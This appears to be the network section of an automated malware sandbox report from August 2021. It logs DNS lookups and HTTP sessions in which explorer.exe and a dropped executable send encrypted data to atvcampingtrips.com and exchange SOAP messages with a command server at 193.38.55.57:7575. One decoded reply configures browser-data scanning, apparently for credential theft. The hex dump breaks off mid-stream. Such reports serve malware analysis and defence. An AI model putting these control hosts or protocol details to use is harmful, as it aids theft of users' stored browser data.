Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:49.249736071 CEST	8.8.8.8	192.168.2.7	0x4cbc	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:50.278323889 CEST	8.8.8.8	192.168.2.7	0xfd95	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:51.193128109 CEST	8.8.8.8	192.168.2.7	0xc2b8	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.165647984 CEST	8.8.8.8	192.168.2.7	0x4f81	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:52.993406057 CEST	8.8.8.8	192.168.2.7	0x962c	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:53.728010893 CEST	8.8.8.8	192.168.2.7	0xd51f	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:54.646631956 CEST	8.8.8.8	192.168.2.7	0xbc57	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		148.101.76.245	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		202.21.110.213	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		190.147.156.126	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		37.75.44.24	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		187.190.48.60	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		222.236.49.123	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		175.126.109.15	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		190.218.13.32	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		181.62.1.142	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:55.473503113 CEST	8.8.8.8	192.168.2.7	0x8262	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.176517963 CEST	8.8.8.8	192.168.2.7	0x322	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.176517963 CEST	8.8.8.8	192.168.2.7	0x322	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.176517963 CEST	8.8.8.8	192.168.2.7	0x322	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.176517963 CEST	8.8.8.8	192.168.2.7	0x322	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.176517963 CEST	8.8.8.8	192.168.2.7	0x322	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.197397947 CEST	8.8.8.8	192.168.2.7	0x17c9	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:57.809685946 CEST	8.8.8.8	192.168.2.7	0x3376	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:58.821468115 CEST	8.8.8.8	192.168.2.7	0xbf4	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:59.169620037 CEST	8.8.8.8	192.168.2.7	0x4dab	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:46:59.533509970 CEST	8.8.8.8	192.168.2.7	0xe57e	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:00.403800964 CEST	8.8.8.8	192.168.2.7	0x6aaf	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:00.883498907 CEST	8.8.8.8	192.168.2.7	0x2084	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:02.073962927 CEST	8.8.8.8	192.168.2.7	0x2b7a	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:02.498359919 CEST	8.8.8.8	192.168.2.7	0xf837	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:03.101758003 CEST	8.8.8.8	192.168.2.7	0xa2c8	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:03.560537100 CEST	8.8.8.8	192.168.2.7	0x4865	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:04.129425049 CEST	8.8.8.8	192.168.2.7	0xa538	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:04.514424086 CEST	8.8.8.8	192.168.2.7	0x983a	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:04.987217903 CEST	8.8.8.8	192.168.2.7	0x4449	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:05.404664040 CEST	8.8.8.8	192.168.2.7	0x20bf	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:05.769249916 CEST	8.8.8.8	192.168.2.7	0xab8d	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:06.400121927 CEST	8.8.8.8	192.168.2.7	0x6bca	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:06.746630907 CEST	8.8.8.8	192.168.2.7	0xae14	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:07.254415989 CEST	8.8.8.8	192.168.2.7	0x902b	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:07.716778994 CEST	8.8.8.8	192.168.2.7	0xe3	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:08.247227907 CEST	8.8.8.8	192.168.2.7	0x21eb	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:08.584290028 CEST	8.8.8.8	192.168.2.7	0xd525	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.089698076 CEST	8.8.8.8	192.168.2.7	0x1c09	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.443363905 CEST	8.8.8.8	192.168.2.7	0x33a3	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:09.723643064 CEST	8.8.8.8	192.168.2.7	0xb181	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)
Aug 21, 2021 21:47:10.382349968 CEST	8.8.8.8	192.168.2.7	0xf7d3	Server failure (2)	trustmanager.ug	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

atvcampingtrips.com

45.138.172.28

193.38.55.57:7575

185.215.113.206

cdn.discordapp.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49705	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:53.757441998 CEST	1374	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: atvcampingtrips.com
Aug 21, 2021 21:45:53.757457018 CEST	1374	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2f 0d ef a8 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA .[k,vu/Migv0\|Cq)j]t_;NNrn [q4.j)L GG'`bqX0O+64-svQS^AfFdpL0J
Aug 21, 2021 21:45:54.467076063 CEST	1375	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 70 e8 86 e9 Data Ascii: p

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49706	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:54.952224016 CEST	1376	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: atvcampingtrips.com
Aug 21, 2021 21:45:54.952260017 CEST	1376	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 32 05 ad 8f Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu2U_~m$aGvU-
Aug 21, 2021 21:45:55.483110905 CEST	1377	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:55 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49732	193.38.55.57	7575	C:\Users\user\AppData\Local\Temp\ABA5.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:18.393788099 CEST	9505	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 193.38.55.57:7575 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 21, 2021 21:46:18.422563076 CEST	9505	IN	HTTP/1.1 100 Continue
Aug 21, 2021 21:46:18.458060026 CEST	9506	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 21 Aug 2021 19:46:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Aug 21, 2021 21:46:25.478400946 CEST	9518	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 193.38.55.57:7575 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 21, 2021 21:46:25.507435083 CEST	9518	IN	HTTP/1.1 100 Continue
Aug 21, 2021 21:46:25.582650900 CEST	9519	IN	HTTP/1.1 200 OK Content-Length: 4753 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 21 Aug 2021 19:46:25 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 